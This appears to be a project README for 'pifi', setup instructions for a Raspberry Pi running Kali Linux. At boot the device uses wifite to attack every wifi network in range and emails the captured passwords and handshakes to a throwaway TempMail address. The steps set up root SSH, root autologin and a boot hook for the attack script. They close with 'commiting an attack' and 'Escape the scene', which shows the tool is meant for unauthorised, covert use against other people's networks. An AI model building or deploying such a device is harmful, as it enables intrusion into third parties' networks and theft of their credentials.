Whenever the Raspberry Pi Device is turned on, it attempts to attack all the wifi networks within the area using wifite and then 📧 emails the succesful results to an email address of your choosing by running the script.sh
script.
2022022001335.mp4
- Any Raspberry Pi Zero/Zero W, Zero 2/ Zero 2 W, 1, 2, 3, 4 or 400
- Bootable USB or microSD with the latest 🐧 Kali Linux image (32-bit recommended). At least 16GB capacity. Class 10 cards are highly recommended.
- all Raspberry Pi models from the Raspberry Pi 3 Model B (2016) and later ship with on-board WiFi. If you have an older model on hand, or if your on-board WiFi module is not functioning, you will need to use an external USB WiFi adapter.
- Download the Kali Linux image
- Flash the image onto the USB or microSD card using balenaEtcher or any other preffered method of flashing. Note! This will format the drive so make sure to backup any needed data on the drive.
- With the newly flashed microSD card or USB drive in the Raspberry Pi, plug it into power, and plug the Micro-HDMI cable into a monitor. Plug in a keyboard and mouse to the Pi 4 Model B’s USB ports, and wait for it to boot to the loading screen. (Note this is possible without a Monitor using ssh)
- Once at the Kali loading screen, enter the default login and password, kali and kali , to log in.
- Connect to network and then open a terminal window and run the following command. Keep in mind that it can take up to an hour to upgrade on a slow connection.
sudo apt update && apt upgrade
-
Switch to root user
sudo su root
-
Change the password with:
passwd root
-
Setup SSH with starting the service on boot by going into the root directory and running the following commandss
cd ~/../.. cd /etc/ssh/ dpkg-reconfigure openssh-server update-rc.d -f ssh remove update-rc.d -f ssh defaults nano /etc/ssh/sshd_config
In the nano window that opens, make sure that “PermitRootLogin” is un-tabbed to allow root login. After this is done, you can hit Control-x to exit the nano window after applying the changes. Enable the updates with:
sudo service ssh restart update-rc.d -f ssh enable 2 3 4 5
- Open the configuaration file
nano /etc/lightdm/lightdm.conf
- Under
[Seat:*]
uncomment and set the variables to these valuesautologin-user=root autologin-user-timeout=0
- Some Pi's will not boot if there is nothing plugged into the HDMI port so we will uncomment a line to circumvent this issue
nano /boot/config.txt
. Yet again use ctrl+x to exit and savehdmi_force_hotplug=1
- clone this repo and then run the
dependency.sh
scriptgit clone https://github.com/Hariss-Gills/pifi cd pifi bash dependency.sh
- edit the
bash.bashrc
by:nano /etc/bash.bashrc
- Add these lines at the end of the file, Yet again use ctrl+x to exit and save:
echo Running at boot bash /root/pifi/script.sh
- Go to TempMail and generate a temporary email address - you'll recieve the passwords/handshakes on this address
- replace the
[email protected]
with the generated address. This can be done remotely withssh
or usingsed
before commiting an attack with:sed -i 's/[email protected]/[email protected]/g' script.sh
- Just plug in the Pi and wait until you get the email
- Escape the scene